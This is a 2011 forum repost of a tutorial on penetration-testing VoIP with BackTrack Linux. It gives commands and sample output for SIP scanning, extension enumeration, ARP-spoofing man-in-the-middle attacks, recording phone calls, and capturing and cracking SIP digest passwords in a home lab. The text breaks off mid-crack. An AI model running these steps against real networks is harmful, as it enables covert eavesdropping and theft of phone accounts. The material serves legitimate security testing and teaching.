co4ie Posted December 5, 2011 Report Posted December 5, 2011 (edited) Contents[hide] 1 Penetration Testing VOIP with BackTrack 2 Typical VoIP Topologies 2.1 Self Hosted 2.2 Hosted Services 2.3 Online SIP Service 3 SIP Basics 3.1 SIP Requests / Methods 3.1.1 An Example SIP “INVITE” Request: 3.2 SIP Responses 3.2.1 An Example SIP “Trying” Response: 3.3 SIP Call Between 2 Phones Example 4 Attack Vectors 5 Information Gathering 5.1 SMAP 5.1.1 SMAP Usage: 5.1.2 Scanning a single host: 5.1.3 Scanning a range of IP addresses: 5.2 SIPSAK 5.3 SIPScan 5.3.1 Sip-scan usage: 5.3.2 Scanning a subnet: 5.4 SVMAP 5.4.1 Scanning an IP range: 5.4.2 Enabling fingerprinting scanning 5.5 Extensions Enumeration 5.5.1 Svwar 5.5.1.1 Usage: 5.5.1.2 Example: 5.5.2 Enumiax 6 Monitoring Traffic and Eavesdropping Phone calls 6.1 Arp Poisoning using Arpspoof 6.2 Capturing traffic and Eavesdropping using Wireshark 6.3 VoIPong 6.3.1 Playing the file: 6.4 Vomit 6.5 UCsniff 6.5.1 Monitor Mode Usage 6.5.2 MITM Learning Mode Usage 6.5.3 MITM Target Mode 6.6 Xplico 6.7 Capturing SIP Authentication using SIPDump 7 Attacking Authentication 7.1 Cracking SIP Digest response hashes 7.1.1 SIPCrack Usage: 7.1.2 Dictionary attack 7.1.2.1 Creating a six chars numeric dictionary: 7.1.2.2 Cracking the Digest Response: 7.1.3 Brute Force attack using John The Ripper 7.2 Brute forcing SIP Accounts 8 VLAN Hopping 8.1 VoIP Hopper 8.2 ACE 9 Denial Of Service 9.1 Inviteflood 9.2 Rtpflood 9.3 Iaxflood 9.4 Teardown 10 Spoofing Caller ID 11 Attacking VoIP Using Metasploit 11.1 Metasploit VoIP Modules 11.1.1 Auxiliaries 11.1.2 Exploits 11.2 Scanning SIP Enabled Devices 11.3 Enumerating SIP extensions / Usernames 11.4 Spoofing Caller ID auxiliary 11.5 Exploiting VoIP systems 12 Closing Words 13 About The Author 14 ReferencesPenetration Testing VOIP with BackTrackVoIP is an exciting technology which provides many benefits and cost effective solutions for communication. More and more small and enterprise businesses are replacing their old traditional telephony systems with an IP based ones. A VoIP based PBX can provide many features such as: Multiple Extensions, Caller ID, Voice mail, IVR capabilities, Recording of conversations, Logging, Usage with hardware based telephones or software based (aka soft phones). Now days there are many vendors for PBX, IP telephones, VoIP services and equipment such as: CISCO, AVAYA and ASTERISK, SNOM, THOMSON… With new technology comes a new challenge for both the defensive and offensive side of security, One of the “great” dangers of traditional phone lines was that it was susceptible to eavesdropping. The “old school” way to eavesdrop on somebody’s phone line was to physically connect a small transmitter which was connected inside or outside their premises somewhere along the phone cord.IP telephony systems are also susceptible to eavesdropping, doing so in an IP environment is a little bit more difficult to execute, detect and require more the knowledge and the right set of tools. In this article we won’t discuss a particular vendor or technique but we will take a look at the concepts and the tools available for attacking VoIP available for us in Backtrack Linux. The main goal of this article is to present the tools and their purpose in order to help you choose the right tool for the right situation. We will examine some real world attack vectors and discover how BackTrack can assist us pentesting VoIP; we will also examine some of the tools which present in BackTrack and their usage.Typical VoIP TopologiesThere are several ways IP based telephony can be implemented, here are some common topologies and usage:Self HostedA PBX (i.e. Asterisk) is installed at the client site and connected to an ISP or telephony service provider PSTN via a SIP Trunk/PRI, the VoIP traffic flows through a dedicated Vlan. Hosted ServicesThere is no need for a PBX at site. Just a switch, a router, IP phones and a connection to the service provider PBX via internet or IP/VPN connection, each phone is configured with SIP account information. Online SIP ServiceServices like sipme.me provides an application for pc or smart phones and a free sip account, Offering low price for international calls and free calls between the service users by assigning a pone number to each subscriber.SIP BasicsThe SIP (Session Initiation Protocol) role is to setup, terminate or modify a voice or a video call where the voice and/or video traffic are being carried by a protocol like RTP (Real time transport Protocol). SIP is an application layer protocol which uses UDP for transport (TCP and SCTP can be used as well). SIP usually uses ports 5060 TCP or UDP for unencrypted signaling or 5061 for encrypted transportation using TLS. SIP is an ASCII based protocol which has some similar elements like in the HTTP protocol by using a Request/Response model. Much like an HTTP request from a browser a SIP client request is made using a SIP URI a user agent and a method/request. SIP uses e-mail like addresses format: user/phone@domain/ip A typical SIP URI looks like: sip:205@192.168.1.100, sip:username@pbx.com , sip:205@192.168.1.100:5060According to the request made by the client a response will be received with a status or error code, the following tables describe the available requests and responses in the SIP protocol.SIP Requests / Methods[table=width: 500, class: grid, align: center][tr] [td]Request[/td] [td]Description[/td][/tr][tr] [td]INVITE [/td] [td]Used to invite and account to participate in a call session. [/td][/tr][tr] [td]ACK[/td] [td]Acknowledge an INVITE request. [/td][/tr][tr] [td]CANCEL[/td] [td]Cancel a pending request. [/td][/tr][tr] [td]REGISTER[/td] [td]Register user with a SIP server[/td][/tr][tr] [td]OPTIONS[/td] [td]Lists information about the capabilities of a caller[/td][/tr][tr] [td]BYE[/td] [td]Terminates a session between two users in a call. [/td][/tr][tr] [td]REFER[/td] [td]Indicates that the recipient(identified by the Request URI)should contact a third party using the contact informationprovided in the request. [/td][/tr][tr] [td]SUBSCRIBE[/td] [td]The SUBSCRIBE method is used to request current state andstate updates from a remotenode. [/td][/tr][tr] [td]NOTIFY[/td] [td]The NOTIFY method is used to notify a SIP node that an eventwhich has been requested by an earlier SUBSCRIBE method hasoccurred. [/td][/tr][/table]“INVITE” Request:INVITE sip:201@192.168.1.104 SIP/2.0Via: SIP/2.0/UDP 192.168.1.102;rport;branch=z9hG4bKvbxaoqarMax-Forwards: 70 To: 201@192.168.1.104SIP Responses[table=width: 500, class: grid, align: center][tr] [td]Response[/td] [td]Description [/td][/tr][tr] [td]1xx [/td] [td]Informational responses, Request received and beingprocessed. [/td][/tr][tr] [td]2xx[/td] [td]Successful responses The action was successfully received,understood, and accepted. [/td][/tr][tr] [td]3xx[/td] [td]Redirection responses [/td][/tr][tr] [td]4xx[/td] [td]Request failure responses The request contains bad syntax orcannot be fulfilled at the server. [/td][/tr][tr] [td]5xx[/td] [td]Server failure responses The server failed to fulfill anapparently valid request. [/td][/tr][tr] [td]6xx[/td] [td]Global failure responses The request cannot be fulfilled at anyserver. [/td][/tr][/table]An Example SIP “Trying” Response:SIP/2.0 100 TryingVia: SIP/2.0/UDP 192.168.1.102;branch=z9hG4bKpmphujka;received=192.168.1.102;rport=5060From: "NIghtRanger" 200@192.168.1.104SIP Call Between 2 Phones Example The calling phone sends an invite. The called phone sends back a response of 100 (Trying). The called phone then starts to ring and sends a response of 180 (Ringing). When the caller picks up the phone the called phone sends a response of 200 (OK). The calling phone sends an ACK response. Conversation begins via RTP. When the caller hangs up the phone a BYE request is sent. The calling phone responds with 200 (OK). Attack VectorsBefore we get started with the tools let’s have a look at some common VoIP attack vectors: Information Gathering, Footprinting and Enumeration. Monitoring Traffic and eavesdropping Phone calls. Attacking Authentication. VLAN Hopping. Denial of Service / Flooding. Spoofing Caller ID. In order to test the tools I have setup a TRIXBOX PBX System and created 6 extensions. I will be using two soft phones, 1 is Linux based client called Twinkle and the 2nd is a Windows based client called X-Lite. I will be using the latest and greatest release of Backtrack Linux which is R2. You can find Most of the VoIP attack tools in Backtrack under the “/pentest/voip/” directory: root@bt:~# cd /pentest/voip/root@bt:/pentest/voip#Or you can simply navigate using the KDE menu to the “Backtrack” ? “Voice Over IP” sub menus : Information GatheringThis phase is where we gather information about the topology, servers and clients to learn as much information as we can in order to launch a successful attack. What we are interested in finding is live hosts, PBX type and version, VoIP servers/gateways, clients (hardware and software) types and versions etc… Instead of enumerating “usernames” we will be enumerating SIP extensions. Let’s take a look at some of the tools which available in Backtrack to help us find, identify and enumerate VoIP enabled devices.SMAPBacktrack includes a great tool called SMAP which is a simple scanner for SIP enabled devices SMAP sends off various SIP requests awaiting responses from SIP enabled DSL router, proxies and user agents.It could be considered a mash up of NMAP and sipsak.SMAP Usage:root@bt:/pentest/voip/smap# ./smapsmap 0.6.0 s@123.orgScanning a single host:root@bt:/pentest/voip/smap# ./smap 192.168.1.104smap 0.6.0 s@123.orgScanning a range of IP addresses:root@bt:/pentest/voip/smap# ./smap 192.168.1.130/24smap 0.6.0 s@123.orgNow that we have identified sip enabled hosts we can use SMAP to fingerprint the server/client type and version:root@bt:/pentest/voip/smap# ./smap -O 192.168.1.104smap 0.6.0 s@123.orgIn case SMAP could not fingerprint our host we use the –l argument to put it in learning mode to provide some useful information:root@bt:/pentest/voip/smap# ./smap -l 192.168.1.104smap 0.6.0 s@123.orgAnother useful feature of SMAP is the –d argument which enables debug output for verbosity try to use the –o along with it to view the fingerprinting process in details.root@bt:/pentest/voip/smap# ./smap -d 192.168.1.104smap 0.6.0 s@123.orgSIPSAKSIPSAK is used for testing SIP enabled applications and devices using the OPTION request method only. We can use it to fingerprint and enumeration. You won’t find sipsak in the “/pentest/voip/ “ directory; you can execute it from any location by simply typing sipsak.root@bt:~# sipsaksipsak 0.9.6 by Nils Ohlmeier Copyright (C) 2002-2004 FhG Fokus Copyright (C) 2004-2005 Nils Ohlmeier report bugs to nils@sipsak.org shoot : sipsak [-f FILE] [-L] -s SIPURI trace : sipsak -T -s SIPURI usrloc : sipsak -U [-I|M] [-b NUMBER] [-e NUMBER] NUMBER] [-z NUMBER] -s SIPURI usrloc : sipsak -I|M [-b NUMBER] [-e NUMBER] -s SIPURI usrloc : sipsak -U [-C SIPURI] NUMBER] -s SIPURI message: sipsak -M [-B STRING] [-O STRING] [-c SIPURI] -s SIPURI flood : sipsak -F [-e NUMBER] -s SIPURI random : sipsak -R [-t NUMBER] -s SIPURI additional parameter in every mode: [-a PASSWORD] [-d] [-i] [-H HOSTNAME] [-l PORT] [-m NUMBER] [-n] [-N] [-r PORT] [-v] [-V] [-w] -h displays this help message -V prints version string only -f FILE the file which contains the SIP message to send use - for standard input -L de-activate CR (\r) insertion in files -s SIPURI the destination server uri in form sip:[user@]servername[:port] -T activates the traceroute mode -U activates the usrloc mode -I simulates a successful calls with itself -M sends messages to itself -C SIPURI use the given uri as Contact in REGISTER -b NUMBER the starting number appendix to the user name (default: 0) -e NUMBER the ending numer of the appendix to the user name -o NUMBER sleep number ms before sending next request -x NUMBER the expires header field value (default: 15) -z NUMBER activates randomly removing of user bindings -F activates the flood mode -R activates the random modues (dangerous) -t NUMBER the maximum number of trashed character in random mode (default: request length) -l PORT the local port to use (default: any) -r PORT the remote port to use (default: 5060) -p HOSTNAME request target (outbound proxy) -H HOSTNAME overwrites the local hostname in all headers -m NUMBER the value for the max-forwards header field -n use FQDN instead of IPs in the Via-Line -i deactivate the insertion of a Via-Line -a PASSWORD password for authentication (if omitted password="") -u STRING Authentication username -d ignore redirects -v each v produces more verbosity (max. 3) -w extract IP from the warning in reply -g STRING replacement for a special mark in the message -G activates replacement of variables -N returns exit codes Nagios compliant -q STRING search for a RegExp in replies and return error on failure -W NUMBER return Nagios warning if retrans > number -B STRING send a message with string as body -O STRING Content-Disposition value -P NUMBER Number of processes to start -A NUMBER number of test runs and print just timings -S use same port for receiving and sending -c SIPURI use the given uri as From in MESSAGE -D NUMBER timeout multiplier for INVITE transactions and reliable transports (default: 64) -E STRING specify transport to be used -j STRING adds additional headers to the requestHere is an example for using sipsak to fingerprint a sip enabled device We can see in the result that the device we queried is an Audiocodes MP-114 FXS gateway.root@bt:~# sipsak -vv -s sip:192.168.1.221message received:SIP/2.0 200 OKVia: SIP/2.0/UDP 127.0.1.1:51601;branch=z9hG4bK.18a1b21f;rport;aliasFrom: sip:sipsak@127.0.1.1:51601;tag=97ac9e5To: sip:192.168.1.221;tag=1c1785761661Call-ID: 159042021@127.0.1.1CSeq: 1 OPTIONSContact: Supported: em,100rel,timer,replaces,path,resource-priorityAllow: REGISTER,OPTIONS,INVITE,ACK,CANCEL,BYE,NOTIFY,PRACK,REFER,INFO,SUBSCRIBE,UPDATEServer: Audiocodes-Sip-Gateway-MP-114 FXS/v.5.40A.040.005X-Resources: telchs=4/0;mediachs=0/0Accept: application/sdp, application/simple-message-summary, message/sipfragContent-Type: application/sdpContent-Length: 343v=0o=AudiocodesGW 1785763980 1785763858 IN IP4 192.168.1.221s=Phone-Callc=IN IP4 192.168.1.221t=0 0m=audio 6000 RTP/AVP 18 8 0 127a=rtpmap:18 G729/8000a=fmtp:18 annexb=noa=rtpmap:8 PCMA/8000a=rtpmap:0 PCMU/8000a=rtpmap:127 telephone-event/8000a=fmtp:127 0-15a=ptime:20a=sendrecva=rtcp:6001 IN IP4 192.168.1.221** reply received after 67.923 ms ** SIP/2.0 200 OK final receivedSIPScanSip-scan is a simple scanner for sip enabled hosts it can scan a single host or an entire subnet.Sip-scan usage:root@bt:/pentest/voip/sipscan# ./sip-scan --help./sip-scan version [unknown] calling Getopt::Std::getopts (version 1.05),running under Perl version 5.10.0. Usage: sip-scan [options] -v Be verbose. -i ip|if Interface/IP for SIP-headers (default: IP from ppp0) -p port remote port to scan. (default: 5060) -l port local origin of packets. (default: 5060) -d n[p] Wait n ms after each sent packet (default: 50ms) or if 'p' is given, send n packets per second (default: 20) -w n Wait n ms for remaining answers (default: 2000ms) Network spec contains the wildcard * or ranges n-m.Scanning a subnet:root@bt:/pentest/voip/sipscan# ./sip-scan -i eth0 192.168.1.1-254192.168.1.20: Grandstream HT-502 V1.2A 1.0.1.35192.168.1.21: Grandstream HT-502 V1.2A 1.0.1.35192.168.1.22: Asterisk PBX192.168.1.104: Asterisk PBX192.168.1.128: FreeSWITCH-mod_sofia/1.0.trunk-16055192.168.1.174: Grandstream HT-502 V1.2A 1.0.1.35192.168.1.175: Asterisk PBX 1.6.0.9-samy-r27192.168.1.219: "Exelmind Call-Control Switch (CCS)"192.168.1.248: MailVision HostLynx/2.1 'GA'SVMAPSVMAP is a part of a suite of tools called SIPVicious and it’s my favorite scanner of choice It can be used to scan identify and fingerprint a single IP or a range of IP addresses. Svmap allows specifying the request method which is being used for scanning, the default method is OPTIONS, it offers debug and verbosity options and even allows scanning the SRV records for SIP on the destination domain. You can use the ./svmap –h in order to view all the available argumentsroot@bt:/pentest/voip/sipvicious# ./svmap.pyUsage: svmap.py [options] host1 host2 hostrangeexamples:svmap.py 10.0.0.1-10.0.0.255 \> 172.16.131.1 sipvicious.org/22 10.0.1.1/24 \> 1.1.1.1-20 1.1.2-20.* 4.1.*.*svmap.py -s session1 --randomize 10.0.0.1/8svmap.py --resume session1 -vsvmap.py -p5060-5062 10.0.0.3-20 -m INVITEScanning an IP range:root@bt:/pentest/voip/sipvicious# ./svmap.py 192.168.1.1-254| SIP Device | User Agent | Fingerprint |----------------------------------------------------| 192.168.1.104:5060 | Asterisk PBX | disabled || 192.168.1.103:5060 | Twinkle/1.4.2 | disabled |Enabling fingerprinting scanningroot@bt:/pentest/voip/sipvicious# ./svmap.py 192.168.1.1-254 --fpExtensions EnumerationExtension enumeration can aid an attacker by finding valid extensions on a VoIP system which later can lead to a brute force attack on the SIP accounts. Extension enumeration works by examining errors returned by a sip requests methods like REGISTER, OPTIONS and INVITESvwarSvwar is also a tool from the sipvicious suite allows to enumerate extensions by using a range of extensions or using a dictionary file svwar supports all the of the three extension enumeration methods as mentioned above, the default method for enumeration is REGISTER.Usage:root@bt:/pentest/voip/sipvicious# ./svwar.pyUsage: svwar.py [options] targetexamples:svwar.py -e100-999 10.0.0.1svwar.py -d dictionary.txt 10.0.0.2Example:root@bt:/pentest/voip/sipvicious# ./svwar.py -e100-400 192.168.1.104| Extension | Authentication |------------------------------| 201 | reqauth || 200 | reqauth || 203 | reqauth || 202 | reqauth || 303 | reqauth || 305 | reqauth |Svwar has identified all the extensions I’ve created on my Trixbox server. You can specify another sip method by using the –m argument, you can also add t –v or –vv for verbosity.root@bt:/pentest/voip/sipvicious# ./svwar.py -e100-400 192.168.1.104 -m INVITE -vINFO:TakeASip:trying to get self ip .. might take a whileINFO:root:start your enginesINFO:TakeASip:Ok SIP device foundINFO:TakeASip:extension '200' exists - requires authenticationINFO:TakeASip:extension '201' exists - requires authentication-----Edit----INFO:TakeASip:extension '203' exists - requires authenticationINFO:TakeASip:extension '303' exists - requires authenticationINFO:TakeASip:extension '303' exists - requires authenticationINFO:TakeASip:extension '305' exists - requires authenticationINFO:root:we have 6 extensions| Extension | Authentication |------------------------------| 201 | reqauth || 200 | reqauth || 203 | reqauth || 202 | reqauth || 303 | reqauth || 305 | reqauth |INFO:root:Total time: 0:00:21.944731EnumiaxEnumiax is used to enumerate Asterisk Exchange protocol usernames. It allows for a dictionary attack or a sequential Username Guessingroot@bt:/pentest/voip/enumiax# ./enumiaxenumIAX 1.0Dustin D. Trammell rammell@tippingpoint.comMonitoring Traffic and Eavesdropping Phone callsMonitoring VoIP traffic can allow an attacker capture SIP requests and RTP data sent from clients to server and back. It can serve two attack vectors: Capturing SIP authentication (we will later discuss this topic in the attacking authentication section). Eavesdropping users phone calls. For demonstration purposes we will use the following scenario: For this attack vector we will need to perform a Man in The Middle Attack which will require the following steps: Arp poisoning/spoofing Sniffing traffic Decoding RTP data to an audio file. Arp Poisoning using ArpspoofBefore we can begin to sniff traffic we will need to arp poison our switch/gateway, we’ll be using a tool called “Arpspoof” which is located in “/usr/sbin/Arpspoof” folder in Backtrack, in fact you can just invoke it from anywhere by typing: arpspoof Before we can use arpspoof we will need to enable IP forwarding:root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forwardArpspoof syntax should look as follows:root@bt:~# arpspoofVersion: 2.4Usage: arpspoof [-i interface] [-t target] hostFor a successful MITM attack we will need to spoof both ways:arpspoof –t victim gatewayarpspoof –t gateway victimWe will let our Arp poisoning run in the background while performing a capture using Wireshark.Capturing traffic and Eavesdropping using WiresharkNow let’s fire up Wireshark to capture some traffic. We will use the following Wireshark capture filter:not broadcast and not multicast and host 192.168.1.118Now let’s start capturing some traffic… While sniffing for traffic User “B” has launched the X-Lite soft phone on his desktop computer and dialed to user “A” extension 200. Wireshark has captured some traffic, after a while I have stopped the capture process and saved the sessions into a file called “sip.pcap”. We can see that we have captured the SIP traffic but for this section we are more interested in the RTP traffic because it contains the actual conversation data. Wireshark has a pretty cool feature to decode captured VoIP calls data into playable audio format You can find this feature under the Statistics -> VoIP Calls menu. VoIPongVoIPong is a utility which detects all Voice over IP calls on a pipeline, and for those which are G711 encoded, dumps actual conversation to separate wave files. It supports SIP, H323, Cisco's Skinny Client Protocol, RTP and RTCP. VoIPong is located in Backtrack “/pentest/voip/voipong” directory Before we can use VoIPong we will need to make some changes to the voipong.conf file:root@bt:/pentest/voip/voipong# nano etc/voipong.confsoxpath = /usr/bin/soxnetworksfile = /pentest/voip/voipong/etc/voipongnetsoutdir = /pentest/voip/voipong/output/device = eth0 # your network interface card nameNow we can start VoIPong to capture some VoIP conversationsroot@bt:/pentest/voip/voipong# ./voipong -c etc/voipong.conf -d4 -fOnce VoIPong detects a phone call it will start capture it once it finish VoIPong will stop the capture process and will render it to a playable wave file. All conversation will be saved into the “/pentest/voip/voipong/output” folderPlaying the file:VomitVomit converts a Cisco IP phone RTP conversation into a wave file that can be played with ordinary sound players. Vomit requires a tcpdump output file. In order to get vomit up and running we will need to download and install waveplay Get it here: http://dir.filewatcher.com/d/FreeBSD/distfiles/Other/waveplay-20010924.tar.gz.5731.htmlroot@bt:~# tar -xzvf waveplay-20010924.tar.gzwaveplay-20010924/waveplay-20010924/Makefilewaveplay-20010924/waveplay.cwaveplay-20010924/waveplay.ja.1waveplay-20010924/wavefmt.hwaveplay-20010924/READMEwaveplay-20010924/waveplay.1waveplay-20010924/README.jproot@bt:~# cd waveplay-20010924root@bt:~/waveplay-20010924# makecc -c -o waveplay.o waveplay.ccc waveplay.o -o waveplayroot@bt:~/waveplay-20010924# cp waveplay /usr/bin/root@bt:/pentest/voip/vomit# ./vomit-r sip.dump | waveplay -S8000 -B16 -C1UCsniffUCSniff is a VoIP & IP Video Security Assessment tool that integrates existing open source software into several useful features, allowing VoIP and IP Video owners and security professionals to rapidly test for the threat of unauthorized VoIP and Video Eavesdropping. UCSniff supports Arp poisoning, VLAN Hopping, VLAN Discovery via CDP, it has a sniffer capabilities and more… I consider it as an all in one eavesdropping tool. Let’s take a look at some usage examples:UCSniff can operate in 2 modes Monitor mode – Should be used on a shared media where the IP phones connected to i.e : a HUB, wireless access point, it can be also be used in a switched environment by setting up a SPAN sessions on a Cisco switch. Man in the middle mode – This mode has 2 additional modes which are Learning Mode Targeted Mode Preparing UCSniff so we can run it from any location in backtrack:root@bt:/tmp# cd /pentest/voip/ucsniff/root@bt:/pentest/voip/ucsniff# ./configureroot@bt:/pentest/voip/ucsniff# makeroot@bt:/pentest/voip/ucsniff# make installMonitor Mode Usageroot@bt:/tmp/ucsniff# ucsniff -i eth0 -MUCSniff 2.1 startingRunning in Monitor ModeFile directory-users.txt can't be opened for reading in working directoryFile targets.txt can't be opened for reading in working directoryListening on eth0... (Ethernet) eth0 -> 00:0C:29:84:98:B2 192.168.1.105 255.255.255.0Starting Unified sniffing...Warning: Please ensure that you hit 'q' when you are finished with this program.Warning: 'q' re-ARPs the victims. Failure to do so before program exit will result in a DoS.SIP Call in progress. (extension 200, ip 192.168.1.104) calling (extension 201, ip 192.168.1.118)SIP Call in progress. (extension 200, ip 192.168.1.105) calling (extension 201, ip 192.168.1.104)SIP Call ended. Conversation recorded in file '200-Calling-201-5:2:7-3-both.wav'SIP Call ended. Conversation recorded in file '200-Calling-201-5:2:8-2-both.wav'Closing text interface...Unified sniffing was stopped.We can stop the sessions by pressing on the Q key.Several files were created by UCSniff: Log files – Contains detailed information about sip transactions Pcap files – capture file which can be viewed in wireshark audio wav files – conversation audio filesroot@bt:/tmp/ucsniff# ls -ltotal 376-rw-r--r-- 1 root root 40854 Feb 5 05:02 200-Calling-201-5:2:7-3-both.wav-rw-r--r-- 1 root root 115818 Feb 5 05:02 200-Calling-201-5:2:7-3.pcap-rw-r--r-- 1 root root 46294 Feb 5 05:02 200-Calling-201-5:2:8-2-both.wav-rw-r--r-- 1 root root 103940 Feb 5 05:02 200-Calling-201-5:2:8-2.pcap-rw-r--r-- 1 root root 278 Feb 5 05:02 call_detail_log-rw-r--r-- 1 root root 317 Feb 5 05:02 call_log-rw-r--r-- 1 root root 10063 Feb 5 05:02 sip.log-rw-r--r-- 1 root root 39073 Feb 5 05:02 sipdump.pcap-rw-r--r-- 1 root root 0 Feb 5 05:01 skinny_logMITM Learning Mode UsageThis mode uses a signaling protocol (SIP, Skinny) to map extensions to an IP Addresses. You can customize the targets to only intercept specific IP Addresses or Networks. In the following example we assume we are on the VoIP VLAN UCSniff will Arp poison all hosts on the subnet.root@bt:/tmp/ucsniff# ucsniff -i eth0 // //UCSniff 2.1 startingListening on eth0... (Ethernet) eth0 -> 00:0C:29:84:98:B2 192.168.1.105 255.255.255.0Randomizing 255 hosts for scanning...Scanning the whole netmask for 255 hosts...* |==================================================>| 100.00 %ARP poisoning victims: GROUP 1 : ANY (all the hosts in the list) GROUP 2 : ANY (all the hosts in the list)Mapped new target entry: (IP: 192.168.1.118) --> extension 201 and name:Mapped new target entry: (IP: 192.168.1.104) --> extension 200 and name:SIP Call in progress. (extension 201, ip 192.168.1.118) calling (extension 200, ip 192.168.1.104)SIP Call ended. Conversation recorded in file '201-Calling-200-5:13:4-2-both.wav'Closing text interface...ARP poisoner deactivated.RE-ARPing the victims...Unified sniffing was stopped.If we take a look at UCSniff log files we can see the discovered targets used in the attack.root@bt:/tmp/ucsniff# cat targets.txt192.168.1.118,201,,sip192.168.1.104,200,,sipMITM Target ModeTarget Mode enables Eavesdropping at a layer higher than just random audio streams or the IP address of phones for which you don't know the extension. This mode has 2 sub modes: Targeted User Targeted Conversation We can add targets manually to the “targets.txt” file in the following format: x.x.x.x,extension,,sip 192.168.1.118,201,,sip Or use learning mode to auto discover hostsroot@bt:/tmp/ucsniff# ucsniff -i eth0 -TUCSniff 2.1 startingFile targets.txt can't be opened for reading in working directoryNo targets have been previously discovered in Targets file, targets.txtPlease run UCSniff in learning mode, or manually edit targets.txtOnce a valid targets.txt file is found you will be asked to choose an eavesdropping mode:root@bt:/tmp/ucsniff# ucsniff -i eth0 -TUCSniff 2.1 startingParsed 2 entries in Targets file, targets.txtUCSniff running in target mode. Parsed 2 previously discovered targetsPlease select a Targeted Eavesdropping Mode:1. UserDescription: Eavesdrop on all calls to or from a particular endpoint.2. ConversationDescription: Eavesdrop on bi-directional conversation flows between two selected endpoints.Please select option (1) or (2):Selecting "User" tells the tool to intercept all traffic between the one Target, and the rest of the network.In "Conversation", two endpoints are selected and the network is ARP Poisoned to only intercept the traffic between those two users. UCSniff includes more useful tools and attacks modes like VLAN hopping (using ACE) which will be discussed later.XplicoAlthough Xplico is not in the Backtrack voip tools directory, it is a very useful tool for capturing SIP and RTP traffic (among other protocols). Xplico can be found in the Backtrack -> Digital Forensics -> Forensic Analysis menuIn case it is not present on your Backtrack installation you can simply install it by issuing the following command:root@bt:~# apt-get install xplicoXplico can be used to capture live traffic or import a Wireshark PCAP capture file. Either way Xplico will decode the captured packets and will assemble them into the appropriate format In our case it will be SIP and RTP. After executing Xplico you will be asked to login, the default username and password are: xplico Once we have successfully logged in to Xplico we will need to create a case We will be asked to choose between a live capture or to import a PCAP file In this example we will use Xplico to perform a live capture (we will Arp poison our targets in the background using arpspoof). Now we will have to choose our case and create a new session By choosing our newly created session we will see our main statistics page with the option to choose our network adapter and start/stop the capture process. Here is an example for captured SIP traffic: An example for RTP decoded traffic: Capturing SIP Authentication using SIPDumpSIPDump is a part of the SIPCrack tools suite, it allows performing a live capture of SIP authentication digest response or it can dump a previously captured sessions from a PCAP file. SIPDump Usage:root@bt:/pentest/voip/sipcrack# ./sipdump -i eth0SIPdump 0.3 ( MaJoMu | www.codito.de )---------------------------------------Usage: sipdump [OPTIONS] = file where captured logins will be written to Options: -i = interface to listen on -p = use pcap data file -m = enter login data manually -f "" = set libpcap filter* You need to specify dump fileLive capture using SIPDump:root@bt:/pentest/voip/sipcrack# ./sipdump -i eth0 auth.txtSIPdump 0.3 ( MaJoMu | www.codito.de )---------------------------------------* Using dev 'eth0' for sniffing* Starting to sniff with packet filter 'tcp or udp or vlan'* Dumped login from 192.168.1.104 -> 192.168.1.111 (User: '200')* Dumped login from 192.168.1.104 -> 192.168.1.111 (User: '200')* Dumped login from 192.168.1.104 -> 192.168.1.111 (User: '200')Dumping authentication data from a PCAP fileroot@bt:/pentest/voip/sipcrack# ./sipdump -p /root/registration.pcap auth.txtSIPdump 0.3 ( MaJoMu | www.codito.de )---------------------------------------* Using pcap file '/root/registration.pcap' for sniffing* Starting to sniff with packet filter 'tcp or udp or vlan'* Dumped login from 192.168.1.104 -> 192.168.1.101 (User: '200')* Exiting, sniffed 1 loginsSIPDump will write the authentication challenge response to the specified file which looks as follows:192.168.1.111"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"44b80d16""""MD5"8edc2d549294f6535070439fb069c968192.168.1.111"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"46cce857""""MD5"4dfc7515936a667565228dbaa0293dfc192.168.1.111"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"2252e8fe""""MD5"5b895c6ae07ed8391212119aab36f108We will disscuss cracking these challenges in the attacking authentication chapter.Attacking AuthenticationSIP can be susceptible to 2 types of authentication attacks, before we take a look at these attacks types let’s understand how’s a SIP registration and authentication process takes place. SIP uses a digest authentication which is a mechanism that the HTTP protocol uses and known as HTTP digest. Because SIP is an ASCII based protocol the authentication details are hashed in order to prevent them to transport in clear text. When a SIP client (User Agent) wants to authenticate with a SIP server, the server generates and sends a digest challenge to the client, it contains the following parameters:Realm - used to identify credentials within as SIP message, usually it is the sip domain. Nonce - this is an md5 unique string which is generated by the server for each registration request it is made from a time stamp and a secret phrase to ensure it has a limited lifetime and could be not be used again. Once the client receives the digest challenge and the user enters his credentials the client uses the nonce to generate a digest response and sends it back to the server.With that said, let’s try to crack the digest response in order to obtain a valid SIP account password.Cracking SIP Digest response hashesBacktrack provides a great tool called SIPCrack, We already discussed how to capture a valid SIP authentication digest response using SIPDump. SIPCrack can be found inroot@bt:/pentest/voip/sipcrack#SIPCrack Usage:root@bt:/pentest/voip/sipcrack# ./sipcrackSIPcrack 0.3 ( MaJoMu | www.codito.de )----------------------------------------Usage: sipcrack [OPTIONS] [ -s | -w ] = file containing logins sniffed by SIPdump Options: -s = use stdin for passwords -w wordlist = file containing all passwords to try -p num = print cracking process every n passwords (for -w) (ATTENTION: slows down heavily)* Either -w or -s has to be givenSIPCrack can operate in two modes: Dictionary attack STDIN Dictionary attackBacktrack provides some basic dictionaries which are located in:root@bt:/pentest/passwords/wordlistsBut for the purpose of this article I will use another grate tool in backtrack called Crunch which is used to create custom dictionaries. Let’s use crunch to create a six characters numeric dictionary Crunch is located in:root@bt:/pentest/passwords/crunch#Crunch Usage:usage: crunch [-f /path/to/charset.lst charset-name] [-o wordlist.txt] [-t [FIXED]@@@@] [-s startblock] [-c number]For detailed crunch usage check its manual:root@bt:/pentest/passwords/crunch# man crunchCreating a six chars numeric dictionary:root@bt:/pentest/passwords/crunch# ./crunch 6 6 -f charset.lst numeric -o /pentest/voip/sipcrack/sipass.txtCrunch will now generate 7000000 bytes of dataCrunch will now generate 6 MB of dataCrunch will now generate 0 GB of data100%We will use a previously captured sip credentials stored by SIPDump in the auth.txt file ans sipass.txt as the dictionary (which we created using crunch)Cracking the Digest Response:root@bt:/pentest/voip/sipcrack# ./sipcrack -w sipass.txt auth.txtSIPcrack 0.3 ( MaJoMu | www.codito.de )----------------------------------------* Found Accounts:Num Server Client User Hash|Password1 192.168.1.101 192.168.1.104 200 3a33e768ed6f630347f4b511371926bd* Select which entry to crack (1 - 1): 1* Generating static MD5 hash... 0a84f78fde66bb15197eab961462dc2f* Starting bruteforce against user '200' (MD5: 